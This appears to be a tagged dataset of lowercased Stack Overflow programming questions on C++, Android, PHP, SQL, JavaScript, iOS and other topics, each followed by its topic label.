implicit conversion from long long to float yields unexpected result  in an attempt to verify (using vs2012) a book s claim (2nd sentence) that   <pre><code>when we assign an integral value to an object of floating-point type  the fractional part is zero.  precision may be lost if the integer has more bits than the floating-point object can accommodate. </code></pre>   i wrote the following wee prog:   <pre><code>#include &lt;iostream&gt; #include &lt;iomanip&gt;  using std::cout; using std::setprecision;  int main() {     long long i = 4611686018427387905; // 2^62 + 2^0      float f = i;       std::streamsize prec = cout.precision();      cout &lt;&lt; i &lt;&lt;     &lt;&lt; setprecision(20) &lt;&lt; f &lt;&lt; setprecision(prec) &lt;&lt; std::endl;      return 0; } </code></pre>   the output is   <pre><code>4611686018427387905 4611686018427387900 </code></pre>   i expected output of the form   <pre><code>4611686018427387905 4611690000000000000 </code></pre>   how is a 4-byte float able to retain so much info about an 8-byte integer  is there a value for i that actually demonstrates the claim,c++
android sdk folder structure  is there a reference like this (<a href= http://refspecs.linuxfoundation.org/fhs_2.3/fhs-2.3.html  rel= nofollow noreferrer >http://refspecs.linuxfoundation.org/fhs_2.3/fhs-2.3.html</a>) that explains the folders inside the main android sdk folder    <hr>   based on the response i ve got so far  i think i need to clarify further what i m looking for.    i wanted to know the basis for the sdk to be divided into these folders (screenshot below). for e.g. something similar to the following excerpt in the  sdk readme.txt      platform-tools contains build tools that are periodically updated to support new features in the android platform (which is why they are separate from basic sdk tools)  including adb  dexdump  and others.     <img src= https://i.stack.imgur.com/1lenh.png  alt= contents of android-sdk folder >    i did put copy the android-sdk folder at a location separate from ides so that it can be shared.,android
css: div spanning over floated div  i have a left floated div and the div after it is spanning over the left floated div.    look here <a href= http://www.kienitz.it/kienitz_cms/referenzen/  rel= nofollow >http://www.kienitz.it/kienitz_cms/referenzen/</a>.    i want to have it like this: <a href= http://www.kienitz.it/kienitz_cms/testtt2/  rel= nofollow >http://www.kienitz.it/kienitz_cms/testtt2/</a>. this is all in wordpress and this last example i made with the onethird and onethirdlast shortcodes. don t know what happened.    any help greatly appreciated. thanks!!    regards.,css
segmentation fault initialising an array  the following program produces a segmentation fault  and i m not sure why. <code>malloc</code> succeeds  so it doesn t seem to be an initialisation error  but for some reason  it segfaults when i access the 253900th element. the array is only 4 * 1e6 bytes  or a about a megabyte.    <strong>this does produce a lot of output</strong>   <pre><code>#include &lt;stdlib.h&gt; #include &lt;stdio.h&gt;  int *long_array(size_t n) {     int *arr = (int *) malloc(n);     if (arr == null) { printf( could not malloc ); exit(1); }     for (size_t i = 0; i &lt; n; i++) {         printf( .. %ld    i);         arr[i] =  10;     }     printf( done with loop\n );     return arr; }  int main(void) {     int *arr = long_array(1000000);     printf( %d   arr[5050]);     return 0; } </code></pre>   i compile this with <code>gcc -std=c99</code> and run the output to see the final few numbers printed before the segfault:   <pre><code>253899 .. 253900 .. 2 segmentation fault (core dumped)  ./a.out </code></pre>   i don t understand why accessing a particular index is causing the segmentation fault. i can guess that i must be accessing a memory location outside of my processes address space  but this seems like a bug if i successfully allocated the memory from within my address space.,c
sort by using a member of an object in c++  i d like to use sort() to do the following   <ul> <li>i have a text char[] t which is (private) member of a class. the text has length n. </li> <li>i also ave an array int[] p that contains the first n integers. </li> </ul>   i d like to std::sort p such that the lexicographic order among suffixes of t are preserved i.e.  for any <code>i &lt; j</code> we have that <code>t[p[i]...n]</code> is lex smaller than <code>t[p[j]...n]</code>.    i m able to do it when <code>char[] t</code> is a global variable by defining    <pre><code>bool myfunction (int i int j) {    int m = i  l = j;   while(m&lt;n and l &lt;n) {       if(t[m] != t[l]) return (t[m]&lt;t[l]);       m++; l++;   }   return (m&lt;l); } </code></pre>   and calling <code>std::sort(p  p+n  myfuction)</code>    i m in truble when <code>t</code> is a member of an object (and sort is called by a method of that object).     how can i define <code>myfunction</code> so that <code>t</code> is visible   should it be member of that object  if yes  how  thank you very much.    edit: bool instead of int,c++
need help - list index out of range <pre><code>x = int (raw_input( introduceti ziua in care doriti adaugarea:  )) print print       options available  print  ---------------------------------  print  1  -- food  print  2  -- books  print  3  -- sports  print  4  -- clothing  print  5  -- transport  y = int (raw_input( introduceti tipul dorit:  )) m = int (raw_input( introduceti valoarea dorita:  )) a[x][y]=a[x][y] + m </code></pre>   this is inside one of my functions. <code>a</code> is global and is defined as a matrix with all values set to 0  for example <code>a = [[0 0 0 0 0] [0 0 0 0 0 0]]</code>.  if i try <code>a[1][2] = a[1][2] + m</code> i see the error message <code>list index out of range</code>.    please help.,python
how to get the path of a remote server folder using php code   i am facing a problem related to remote servers.     i want to get the path of a folder which is present in another server using php code. so can anyone please help me out how i will get that path in my server,php
changing the url to /home instead /#/home in angularjs app  i have an angular app that i want to change the url for each page. the urls are showing up as  .com/#/home  instead of  .com/home . any ideas    <pre><code> use strict ;  angular.module( myapp.home   [ ngroute ])  .config([ $routeprovider   function($routeprovider) {   $routeprovider.when( /home   {     templateurl:  home/home.html       controller:  homectrl    }); }])  .controller( homectrl   [function() {  }]); </code></pre>,angularjs
how to create a link that redirects to a website where a part of the url is written in a textfield before   first i have to say that i m totally new to html so please excuse me  if this question is dumb.    it should look like this:    <a href= https://i.stack.imgur.com/osmjw.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/osmjw.png  alt= expected ></a>    and it should work like this:     the user enters a code  e.g. 123456  and when clicking the link  a website should open  where the url is for example screenleap.com/123456.    how could this be possible to do  i have tried to do it and this is what i got until now:   <pre><code>&lt;input type= text  name= code &gt; &lt;br&gt;&lt;br&gt; &lt;a href= https://www.screenleap.com/code  target= _blank &gt;konferenz&lt;/a&gt; </code></pre>   thanks for helping me!,html
how to make uibarbutton right justified in iphone  i have added the <code>toolbar</code> dynamically and in that i added <code>barbutton</code> dynamically but it appears on left side i want it to appear on the right side. can anyone help me out with this my code goes like this   <pre><code> cgrect frame = cgrectmake(0  205  320  40);  uitoolbar *toolbar = [[uitoolbar alloc]initwithframe:frame];  toolbar.barstyle =uibarstyleblacktranslucent;  toolbar.tintcolor = [uicolor darkgraycolor];    uibarbuttonitem *backbutton = [[uibarbuttonitem alloc] initwithtitle: @ done  style:uibarbuttonitemstyledone target:self action:@selector(foo)];  nsarray *array = [[nsarray alloc]initwithobjects:backbutton nil];   [toolbar setitems:array]; </code></pre>,iphone
thread-safe timer for c++ callback  in a unix pthreads based app i m working on  i have objects of a particular class (call it class foo) being created in multiple threads. i need a specific public method of class foo invoked at or after 60s of the object coming into existence (it is not imperative that it happens at precisely 60s  just that it happens at either 60s or very shortly thereafter).    any ideas on what timers are available that could i use to achieve this  looking for either something that i could just drop right in to my class foo or which i could derive from.    the only real requirement is that it be thread-safe.,c++
interoperate activity with asynctask  are there any relative order constraints between an <code>activity</code> s lifecycle callbacks and an <code>asynctask</code> s callbacks      (for example  between <code>oncreate</code> and <code>onpostexecute</code>.),android
extracting excel data using sql connection string  my intention here is to render the excel data in a table  using a datatable  so opened an odbc connection and loaded the datatable like this:    <pre><code>system.data.odbc.odbcconnection conn = new system.data.odbc.odbcconnection(dsn=excel files;driver={microsoft excel driver (*.xls)};driverid=790;dbq=c:\users\*******\documents\book1.xlsx;defaultdir=c:\users\******\documents;hdr=yes); conn.open(); datatable datatable = new datatable(); string con =  select * from [sheet1$] ; system.data.odbc.odbccommand cmd = new system.data.odbc.odbccommand(con  conn); system.data.odbc.odbcdatareader dr = cmd.executereader(); datatable.load(dr); </code></pre>   but insted getting an error like this   <blockquote>    error [im014] [microsoft][odbc driver manager] the specified dsn contains an architecture mismatch between the driver and application  </blockquote>   so actually whats  the root cause,sql
can we get data from sqlite db when app closed in android  if yes pls add example codes  i am trying to get value from my sqlite db and to generate notification.but this working only when my app is in open state . when i close app this won t works.can any one suggest any method to work app even if app in closed state.   <pre><code>public class backgroundservice extends service { private boolean isrunning; private context context; private thread backgroundthread; string date; dbhandler db=new dbhandler(this); arraylist&lt;string&gt;listdate=new arraylist&lt;string&gt;(); int ongoing_notification_id; @nullable @override public ibinder onbind(intent intent) {      return null; }  @override public void oncreate() {     this.context = this;     this.isrunning = false;     this.backgroundthread = new thread(mytask); }  private runnable mytask = new runnable() {     public void run() {           // do something here         list&lt;orderitemmodel&gt; orderdate =  db.geteachdate();          for (orderitemmodel om : orderdate) {             listdate.add(om.getorder_date());         }         log.e( list bg  listdate+  );         arraylist&lt;string&gt; reslist = new arraylist&lt;string&gt;();         if (listdate.size()!=0){               intent intent = new intent(context  orderlist.class);              pendingintent pintent = pendingintent.getactivity(context  0  intent                      pendingintent.flag_update_current);              //create notification using notificationcompat.builder             notificationcompat.builder builder = new notificationcompat.builder(context)                     .setsmallicon(r.drawable.notify)                     .setticker( alert )                     .setcontenttitle( rent out of date )                     .setcontenttext( check date )                     .setcontentintent(pintent)                     .setautocancel(true);              // create notification manager             notificationmanager notificationmanager = (notificationmanager) context.getsystemservice(context.notification_service);             // build notification with notification manager             notificationmanager.notify(0  builder.build());         }         stopself();     } };  @override public void ondestroy() {     this.isrunning = false; }  @override public int onstartcommand(intent intent  int flags  int startid) {     /* bundle extras = intent.getextras();     date=extras.getstring( listdate );     log.e( date in service  date);*/     if(!this.isrunning) {         this.isrunning = true;         this.backgroundthread.start();     }     return start_sticky; } </code></pre>,android
make a column unique with multiple column check  i am trying to create a mysql table with name <code>tbl_users</code>. in which i have 2 columns <code>mobile</code> and <code>altmobile</code>  from these two columns i would like to make sure none of the <code>mobile number</code> is repeated. each number should be unique in both the column and should check from both the column before inserting into the table.     <strong>is it possible to do </strong>    i am new in these advance stuff. rather then doing it on a server-side language (php) i want to handle this on database level itself  because this table will have more then 500k rows. so to make sure the process will run faster i would like to do it on database level itself.    suppose i have a number <code>236463646</code> this number should be check in both the column <code>mobile</code> and <code>mobilealt</code> so the same number entry can not get reenter into the database.    here is how my table structure looks like:    <a href= https://i.stack.imgur.com/py6zj.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/py6zj.png  alt= enter image description here ></a>    thank you!,mysql
to delete queries! i ve tried with the posts already available. it didn t work.  my first page to delete queries selected by user <code>query.php</code> which is working absolutely fine:   <pre><code>&lt;form method=post  action= delete.php &gt;  list of queries&lt;br/&gt; &lt; php $ebits = ini_get( error_reporting ); error_reporting($ebits ^ e_notice); mysql_connect( localhost   root    ) or die(mysql_error()); mysql_select_db( testdb ) or die(mysql_error()); echo  &lt;br /&gt; ; $query =  select * from queries  ; $result =  mysql_query($query) or die(mysql_error());  $count=mysql_num_rows($result); while($row = mysql_fetch_array($result))   {  print  &lt;input type= checkbox  name= query[]  value=\  .$row[ queryid ]. \ &gt;  ;  echo        . $row[ name ].        . $row[ address ].             . $row[ contactno ].             . $row[ query ]; echo  &lt;br /&gt; ;  }    &gt; &lt;input type= submit  value= delete  name= delete &gt;  &lt;br/&gt;   &lt;/form&gt; </code></pre>   i ve tried with following codes for second page <code>delete.php</code> but nothing seems to work.<br>    code1:   <pre><code>&lt; php if($_post[ delete ])   {   if(count($_post[ checkbox ]) &gt; 0) {      foreach($_post[ checkbox ] as $checkbox)      {           $del_id=$checkbox;           $sql =  delete * from queries where `queryid`=  $del_id  ;           $result = mysql_query($sql);           mysql_error();       }      echo  selected rows deleted ;   } else {        $new= nothing to delete ;   }  }  &gt; </code></pre>   code2:   <pre><code>&lt; php if(($_post[ delete ])) { $count=array(); $count=$_post[ checkbox ]; for($i=0;$i&lt;count($count);$i++){         $del_id = $checkbox[$i];         $sql =  delete from queries where queryid= $del_id   ;         $result = mysql_query($sql); } $new= selected records deleted ; } var_dump($_post[ checkbox ]); var_dump($count);   &gt; </code></pre>,php
how to split a string by <span> tag in javascript  i have a data.text string that returns a value like:   <pre><code>&lt;span&gt;name&lt;/span&gt;message </code></pre>   is it possible in javascript to take this value and split in to two so that i can get  name  and  message  in two different variables     i tried    <pre><code>var str = data.text;  var arr[] = str.split( &lt;/span&gt;   2);  var str1 = arr[0]; var therest = arr[1]; </code></pre>   but didn t work,javascript
how can i use .net to traverse the directory structure of a website   simple question.    how can i use .net to traverse the directory structure of a website     what i want to do is access a particular directory then scan through the files looking for .html files and then download them.      i know to use webclient.downloadstring() to copy the files  but how can i do the searching through the directories,.net
when moving mysql database files location do i need to flush table   im going to move database files location (including changing <code>datadir</code> in <code>my.cnf</code>).    but i still not clear about <code>flush tables;</code>    mysql website says:  clears or reloads various internal caches used by mysql     some people says:  forcing all open tables (those in the table cache) to be closed     what is open and close tables  do i need to flush table when move database files location,mysql
how can i improve this basic jquery code   i m just starting to get my hands dirty with some basic jquery. i want to be able to add a  defaultvalue  attribute to any textbox and then have the box cleared on focus and then the default value reinserted into the textbox if the value is blank. i ve come up with a basic couple of function to do this  but is there a better way  i seem to recall seeing some examples of jquery functions that don t rely on two separate methods...   <pre><code>$(document).ready(function () {         $( input[type=text] ).click(function () {             var defaultvalue = $(this).attr( defaultvalue );             if ($(this).val() == defaultvalue)                 $(this).val(  );         });         $( input[type=text] ).blur(function () {             var defaultvalue = $(this).attr( defaultvalue );             if ($(this).val() ==   )                 $(this).val(defaultvalue);         });     }); </code></pre>,jquery
iphone weather forecast application  i am working with an iphone application in xcode that uses the google weather api. but when i connects to the api then its giving me the following output   <pre><code>2010-04-28 12:19:56.903 weather[176:20b] urlstring: http://www.google.com/ig/api weather=kolkata  2010-04-28 12:19:57.214 weather[176:20b] receiving data... 2010-04-28 12:19:57.215 weather[176:20b] responsedata: &lt;3c3f786d 6c207665 7273696f 6e3d2231 2e30223f 3e3c786d 6c5f6170 695f7265 706c7920 76657273 696f6e3d 2231223e 3c776561 74686572 206d6f64 756c655f 69643d22 30222074 61625f69 643d2230 22206d6f 62696c65 5f726f77 3d223022 206d6f62 696c655f 7a697070 65643d22 31222072 6f773d22 30222073 65637469 6f6e3d22 3022203e 3c666f72 65636173 745f696e 666f726d 6174696f 6e3e3c63 69747920 64617461 3d224b6f 6c6b6174 612c2057 65737420 42656e67 616c222f 3e3c706f 7374616c 5f636f64 65206461 74613d22 4b6f6c6b 61746122 2f3e3c6c 61746974 7564655f 65362064 6174613d 22222f3e 3c6c6f6e 67697475 64655f65 36206461 74613d22 222f3e3c 666f7265 63617374 5f646174 65206461 74613d22 32303130 2d30342d 3238222f 3e3c6375 7272656e 745f6461 74655f74 696d6520 64617461 3d223230 31302d30 342d3238 2030363a 32303a30 30202b30 30303022 2f3e3c75 6e69745f 73797374 656d2064 6174613d 22555322 2f3e3c2f 666f7265 63617374 5f696e66 6f726d61 74696f6e 3e3c6375 7272656e 745f636f 6e646974 696f6e73 3e3c636f 6e646974 696f6e20 64617461 3d224861 7a65222f 3e3c7465 6d705f66 20646174 613d2239 37222f3e 3c74656d 705f6320 64617461 3d223336 222f3e3c 68756d69 64697479 20646174 613d2248 756d6964 6974793a 20363025 222f3e3c 69636f6e 20646174 613d222f 69672f69 6d616765 732f7765 61746865 722f6861 7a652e67 6966222f 3e3c7769 6e645f63 6f6e6469 74696f6e 20646174 613d2257 696e643a 20532061 74203133 206d7068 222f3e3c 2f637572 72656e74 5f636f6e 64697469 6f6e733e 3c666f72 65636173 745f636f 6e646974 696f6e73 3e3c6461 795f6f66 5f776565 6b206461 74613d22 57656422 2f3e3c6c 6f772064 6174613d 22383222 2f3e3c68 69676820 64617461 3d223931 222f3e3c 69636f6e 20646174 613d222f 69672f69 6d616765 732f7765 61746865 722f6368 616e6365 5f6f665f 7261696e 2e676966 222f3e3c 636f6e64 6974696f 6e206461 74613d22 4368616e 6365206f 66205261 696e222f 3e3c2f66 6f726563 6173745f 636f6e64 6974696f 6e733e3c 666f7265 63617374 5f636f6e 64697469 6f6e733e 3c646179 5f6f665f 7765656b 20646174 613d2254 6875222f 3e3c6c6f 77206461 74613d22 3832222f 3e3c6869 67682064 6174613d 22393622 2f3e3c69 636f6e20 64617461 3d222f69 672f696d 61676573 2f776561 74686572 2f726169 6e2e6769 66222f3e 3c636f6e 64697469 6f6e2064 6174613d 22526169 6e222f3e 3c2f666f 72656361 73745f63 6f6e6469 74696f6e 733e3c66 6f726563 6173745f 636f6e64 6974696f 6e733e3c 6461795f 6f665f77 65656b20 64617461 3d224672 69222f3e 3c6c6f77 20646174 613d2238 32222f3e 3c686967 68206461 74613d22 3936222f 3e3c6963 6f6e2064 6174613d 222f6967 2f696d61 6765732f 77656174 6865722f 73756e6e 792e6769 66222f3e 3c636f6e 64697469 6f6e2064 6174613d 22436c65 6172222f 3e3c2f66 6f726563&gt; 2010-04-28 12:19:57.217 weather[176:20b] receiving data... 2010-04-28 12:19:57.217 weather[176:20b] responsedata: &lt;3c3f786d 6c207665 7273696f 6e3d2231 2e30223f 3e3c786d 6c5f6170 695f7265 706c7920 76657273 696f6e3d 2231223e 3c776561 74686572 206d6f64 756c655f 69643d22 30222074 61625f69 643d2230 22206d6f 62696c65 5f726f77 3d223022 206d6f62 696c655f 7a697070 65643d22 31222072 6f773d22 30222073 65637469 6f6e3d22 3022203e 3c666f72 65636173 745f696e 666f726d 6174696f 6e3e3c63 69747920 64617461 3d224b6f 6c6b6174 612c2057 65737420 42656e67 616c222f 3e3c706f 7374616c 5f636f64 65206461 74613d22 4b6f6c6b 61746122 2f3e3c6c 61746974 7564655f 65362064 6174613d 22222f3e 3c6c6f6e 67697475 64655f65 36206461 74613d22 222f3e3c 666f7265 63617374 5f646174 65206461 74613d22 32303130 2d30342d 3238222f 3e3c6375 7272656e 745f6461 74655f74 696d6520 64617461 3d223230 31302d30 342d3238 2030363a 32303a30 30202b30 30303022 2f3e3c75 6e69745f 73797374 656d2064 6174613d 22555322 2f3e3c2f 666f7265 63617374 5f696e66 6f726d61 74696f6e 3e3c6375 7272656e 745f636f 6e646974 696f6e73 3e3c636f 6e646974 696f6e20 64617461 3d224861 7a65222f 3e3c7465 6d705f66 20646174 613d2239 37222f3e 3c74656d 705f6320 64617461 3d223336 222f3e3c 68756d69 64697479 20646174 613d2248 756d6964 6974793a 20363025 222f3e3c 69636f6e 20646174 613d222f 69672f69 6d616765 732f7765 61746865 722f6861 7a652e67 6966222f 3e3c7769 6e645f63 6f6e6469 74696f6e 20646174 613d2257 696e643a 20532061 74203133 206d7068 222f3e3c 2f637572 72656e74 5f636f6e 64697469 6f6e733e 3c666f72 65636173 745f636f 6e646974 696f6e73 3e3c6461 795f6f66 5f776565 6b206461 74613d22 57656422 2f3e3c6c 6f772064 6174613d 22383222 2f3e3c68 69676820 64617461 3d223931 222f3e3c 69636f6e 20646174 613d222f 69672f69 6d616765 732f7765 61746865 722f6368 616e6365 5f6f665f 7261696e 2e676966 222f3e3c 636f6e64 6974696f 6e206461 74613d22 4368616e 6365206f 66205261 696e222f 3e3c2f66 6f726563 6173745f 636f6e64 6974696f 6e733e3c 666f7265 63617374 5f636f6e 64697469 6f6e733e 3c646179 5f6f665f 7765656b 20646174 613d2254 6875222f 3e3c6c6f 77206461 74613d22 3832222f 3e3c6869 67682064 6174613d 22393622 2f3e3c69 636f6e20 64617461 3d222f69 672f696d 61676573 2f776561 74686572 2f726169 6e2e6769 66222f3e 3c636f6e 64697469 6f6e2064 6174613d 22526169 6e222f3e 3c2f666f 72656361 73745f63 6f6e6469 74696f6e 733e3c66 6f726563 6173745f 636f6e64 6974696f 6e733e3c 6461795f 6f665f77 65656b20 64617461 3d224672 69222f3e 3c6c6f77 20646174 613d2238 32222f3e 3c686967 68206461 74613d22 3936222f 3e3c6963 6f6e2064 6174613d 222f6967 2f696d61 6765732f 77656174 6865722f 73756e6e 792e6769 66222f3e 3c636f6e 64697469 6f6e2064 6174613d 22436c65 6172222f 3e3c2f66 6f726563 6173745f 636f6e64 6974696f 6e733e3c 666f7265 63617374 5f636f6e 64697469 6f6e733e 3c646179 5f6f665f 7765656b 20646174 613d2253 6174222f 3e3c6c6f 77206461 74613d22 3738222f 3e3c6869 67682064 6174613d 22393822 2f3e3c69 636f6e20 64617461 3d222f69 672f696d 61676573 2f776561 74686572 2f6d6f73 746c795f 73756e6e 792e6769 66222f3e 3c636f6e 64697469 6f6e2064 6174613d 224d6f73 746c7920 53756e6e 79222f3e 3c2f666f 72656361 73745f63 6f6e6469 74696f6e 733e3c2f 77656174 6865723e 3c2f786d 6c5f6170 695f7265 706c793e&gt; 2010-04-28 12:19:57.219 weather[176:20b] finished loading... </code></pre>   my code looks like this   <pre><code>    - (void)viewdidload {     nsstring *currentlocation=@ kolkata ;     nsstring *urlstring = [nsstring stringwithformat:@ http://www.google.com/ig/api weather=%@   currentlocation];     nslog(@ urlstring: %@   urlstring);      nsurlrequest *request = [nsurlrequest requestwithurl:[nsurl urlwithstring:urlstring] cachepolicy:nsurlrequestuseprotocolcachepolicy timeoutinterval:60.0];     nsurlconnection *theconnection = [[nsurlconnection alloc] initwithrequest:request delegate:self];     if (theconnection)     {          responsedata = [[nsmutabledata alloc] retain];     }       [super viewdidload];  }  - (void)connection:(nsurlconnection *)connection didreceiveresponse:(nsurlresponse *)response  {     [responsedata setlength:0]; }  - (void)connection:(nsurlconnection *)connection didreceivedata:(nsdata *)data  {     nslog(@ receiving data... );     [responsedata appenddata:data];     nslog(@ responsedata: %@  responsedata); }  - (void)connection:(nsurlconnection *)connection didfailwitherror:(nserror *)error  {     nslog(@ reverse geocode request to google failed! ); }  - (void)connectiondidfinishloading:(nsurlconnection *)connection  {     nslog(@ finished loading... );     [connection release];  } </code></pre>   i can t figure it out how to read this data.    looking for your s valuable suggetion. i am using this url(<a href= http://www.google.com/ig/api weather=kolkata  rel= nofollow noreferrer >http://www.google.com/ig/api weather=kolkata</a>)    thanks in advance,iphone
how to do $filename=images/$filename2.jpg  i want to do something like this but i dont know how to:       <pre><code>$file= 4  $pic= ../pics/$file.jpg ; $sound= ../sounds/$file.mp3 ; </code></pre>   also i will do something like this   <pre><code>$nextpic= ../pics/$file+1.jpg ; </code></pre>,php
using div to make page center  say logo1 and logo2 is 100px long each and i want to cover half of the logo up. whats the best way and neatest way of making two logos over lap and making them in the center of page.,html
html: a href  ../subfolder   so my file root d:// has 2 file  the index.html it self and img folder(however it is named as image instead)    so here s my code.  (assume it has body and html :))   <pre><code>&lt;div style= background: black url( ../image/background1.png ) &gt;&lt;/div&gt;     &lt;div style= width:800px; margin:0 auto; &gt;         &lt;table style= width:800px;background-image: &gt;             &lt;tr&gt;                 &lt;td&gt;&lt;a href= www.google.com &gt;&lt;img src= ../image/logo.png /&gt;&lt;/a&gt;&lt;td&gt;                 &lt;td&gt;&lt;p align= right &gt;&lt;b&gt; when strategy and chance meets  champions born&lt;/b&gt;&lt;/td&gt;             &lt;tr&gt;         &lt;/table&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   so here s the peculiar thing    1> the img src doesn t works (assume those file do exist in the right folder in d://)    2> the a href for google also doesnt work. it makes the progam goes d://www.google.com    any help     ps: this file will create a div with img background (repeated). inside the div is a table to store logo.,html
sql query to match the occurrence of 1 or more digit  my table has column with below data    optional (8)    optional (5)    optional (2)    optional (10)    optional (6)    optional (2) (2)    optional (9)    optional (11)    i would like to know how to write a query to retrieve the values which match with    optional (followed by any number of digit)    so the output should not have  optional (2) (2)  since it has  ) (  in between.    please help....,sql
creating associations by using checkboxes  a user can only have two types of subscriptions: dailysubscription and weeklysubscription.  when the user is at the new and edit action  i d like them to check off either of the subscriptions they would like to get.    i m comfortable using nested fields (as per ryan bates  screencast <a href= http://railscasts.com/episodes/196-nested-model-form-part-1  rel= nofollow >here</a>) but i think when i add inheritance  it really complicating matters.  <strong>is there a better way </strong>   <pre><code>class user &lt; activerecord::base     has_many :subscriptions end  class subscription &lt; activerecord::base     belongs_to :user     # type field is defined in the migration for single table inheritance end  class dailysubscription &lt; subscription     # business logic here  end  class weeklysubscription &lt; subscription    # different business logic here  end </code></pre>   my initial efforts with the controller are wacky:   <pre><code>class userscontroller &lt; applicationcontroller   def new     @user = user.new     # i can t use @user. subscriptions.build as rails doesn t      # know what type of model to add!      @user.subscriptions = [dailysubscription.new  weeklysubscription.new]   end    ...  end </code></pre>   i think i am conceptually really missing something here but i can t figure it out.  help!,ruby-on-rails
javascript adding changing number  i m trying to add two values together   <pre><code>let coorh = $e.deltax; let currentx = this.xpos; newx = currentx + coorh </code></pre>   coorh is obviously changing as i move my mouse but i only want to add the current value of coorh to currentx not always add the two together and then add coorh.    how would i do that     any help is appreciated!,javascript
javascript - variable changes its value when i re-assign it  how can i keep the variables in the event listener to avoid being overwritten  below is an example. it will alert twice of  second   instead of  first  then  second    <pre><code>var firstvar =  first ;  window.addeventlistener( load  function(){     alert(firstvar); });  var firstvar =  second ;  window.addeventlistener( load  function(){     alert(firstvar); }); </code></pre>   i have tried  as below too.   <pre><code>var firstvar =  first ;  window.addeventlistener( load  function(){     var temp = firstvar;     alert(temp); });  var firstvar =  second ;  window.addeventlistener( load  function(){     var temp = firstvar;     alert(temp); }); </code></pre>   i event tried to use bind(this) but none of them is working. is there a way for this to work or there s no way it will works     thanks,javascript
it s possible to give a variable value from file.php value   i have a arduino and i want to send the data to raspberry pi from the wifi network  but with that i need a method to write the data from arduino to the raspberry pi sql database.    i was thiking to make like that  <a href= http://raspberry_ip/file.php value  rel= nofollow >http://raspberry_ip/file.php value</a>    the value was what i want to write in the sql database  or more easy  give the  value  to a variable $temperature.    it s possible to make with php,php
determining type of nsmanagedobject subclass  i am trying to determine the type of nsmanagedobject i am dealing with. i do it in the following way:       <pre><code>nsmanagedobject* object;  if ([[object entity].name isequaltostring:@ folders ]){    folders* folderobject = object;  }else if ([[object entity].name isequaltostring:@ allfiles ]){      allfiles* fileobject = object;  } </code></pre>   this method works  however i get a yellow error: incompatible pointer types initialising  allfiles  with an expression of nsmanagedobject.  allfiles and folders are subclasses of nsmanagedobject.,ios
how do i use function pointers within this class   i have a class: circle. it can draw either a filled circle or an outlined circle. based on its current setting  i want a general draw() method that calls either draw_filled() or draw_outlined().    in my class  i have the member <code>void (*draw)(void);</code>    i have two private functions: <code>void draw_filled(); void draw_outlined();</code>    then  i have the following method:   <pre><code>void circle::fill(const bool fill) {     m_fill = fill;      if (fill)         draw = draw_filled;     else         draw = draw_outlined; } </code></pre>   i get an error on both draw assignments:    error c2440:  =  : cannot convert from  void (__thiscall x2d::gl::circle::* )(void)  to  void (__cdecl *)(void)  1>          there is no context in which this conversion is possible    normally  i don t use function pointers in classes  so this is new to me. any help would be appreciated. thank you.,c++
obtain current logged in user  i m using activedirectory as membership provider. i want to store the current logged in user in a session.    <pre><code> protected void user_login_loggedin(object sender  eventargs e)  {    membershipuser user = membership.getuser();  } </code></pre>   the code above gives the error below   <hr>  <pre><code>the parameter  username  must not be empty. parameter name: username       description: an unhandled exception occurred during the execution of the current web request. please review the stack trace for more information about the error and where it originated in the code.  </code></pre>   exception details:    <pre><code>system.argumentexception: the parameter  username  must not be empty. parameter name: username </code></pre>   source error:    <pre><code>an unhandled exception was generated during the execution of the current web request. information regarding the origin and location of the exception can be identified using the exception stack trace below. </code></pre>   stack trace:    <pre><code>[argumentexception: the parameter  username  must not be empty. parameter name: username]    system.web.util.secutility.checkparameter(string&amp; param  boolean checkfornull  boolean checkifempty  boolean checkforcommas  int32 maxsize  string paramname) +1976411    system.web.security.activedirectorymembershipprovider.checkusername(string&amp; username  int32 maxsize  string paramname) +30    system.web.security.activedirectorymembershipprovider.getuser(string username  boolean userisonline) +86    system.web.security.membership.getuser(string username  boolean userisonline) +82    system.web.security.membership.getuser() +19    darts.login.user_login_loggedin(object sender  eventargs e) in e:\projects\darts\source\darts\darts\login.aspx.cs:24    system.web.ui.webcontrols.login.onloggedin(eventargs e) +111    system.web.ui.webcontrols.login.attemptlogin() +179    system.web.ui.webcontrols.login.onbubbleevent(object source  eventargs e) +101    system.web.ui.control.raisebubbleevent(object source  eventargs args) +37    system.web.ui.webcontrols.button.oncommand(commandeventargs e) +118    system.web.ui.webcontrols.button.raisepostbackevent(string eventargument) +166    system.web.ui.webcontrols.button.system.web.ui.ipostbackeventhandler.raisepostbackevent(string eventargument) +10    system.web.ui.page.raisepostbackevent(ipostbackeventhandler sourcecontrol  string eventargument) +13    system.web.ui.page.raisepostbackevent(namevaluecollection postdata) +36    system.web.ui.page.processrequestmain(boolean includestagesbeforeasyncpoint  boolean includestagesafterasyncpoint) +1565 </code></pre>  <hr>   version information: microsoft .net framework version:2.0.50727.4211; asp,asp.net
jquery .click function requiring two clicks   i have this jquery function that doesn t execute all of the code until the second click. it goes to the outside of the $.get and executes the first  console.log( hit )  but it never makes it through the rest of the code until the second click. any ideas    <pre><code>$(document).ready(function() {             $( #startbutton ).click(function() {                  $.get( getquestion                         function(data  status) {                         var qanda = data                         window.jsonqa = jquery.parsejson( qanda );                         console.log(jsonqa)                 });                  console.log( hit )                  var questionarray = []                 for (var i in jsonqa) {                     questionarray.push(i)                 }                  var index = math.floor(math.random() * questionarray.length)                  var thequestion = questionarray[index]                  $( #question ).html(thequestion)                  console.log( hit2 )             });         }); </code></pre>,jquery
some help by understanding the logic of a cte  recently i stumbled upon a common table expression  a recursive query to display hierarchical data (see picture below with the query and (partly) result). i understand how the query is build up and in general what it does  but i don t get the logic that is involved in getting the right levels by each row by the use of an inner join. can someone please clarify me for this  so my question is how  calculates  the query that row 3 is level 1  row 7 is level 2 and row 8 is level 3  etc. thanks in advance. arjen. <a href= https://i.stack.imgur.com/mlwgv.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/mlwgv.png  alt= enter image description here ></a>,sql
types questions in ansi c  i having few questions about typed in ansi c: 1. what s the difference between  \x  in the beginning of a char to 0x in the beginning of char (or in any other case for this matter). afaik  they both means that this is hexadecimal..  so what s the difference.   <ol start= 2 > <li>when casting char to (unsigned)  not (unsigned char) - what does it mean  why (unsigned) \xff  != 0xff </li> </ol>   thanks!,c
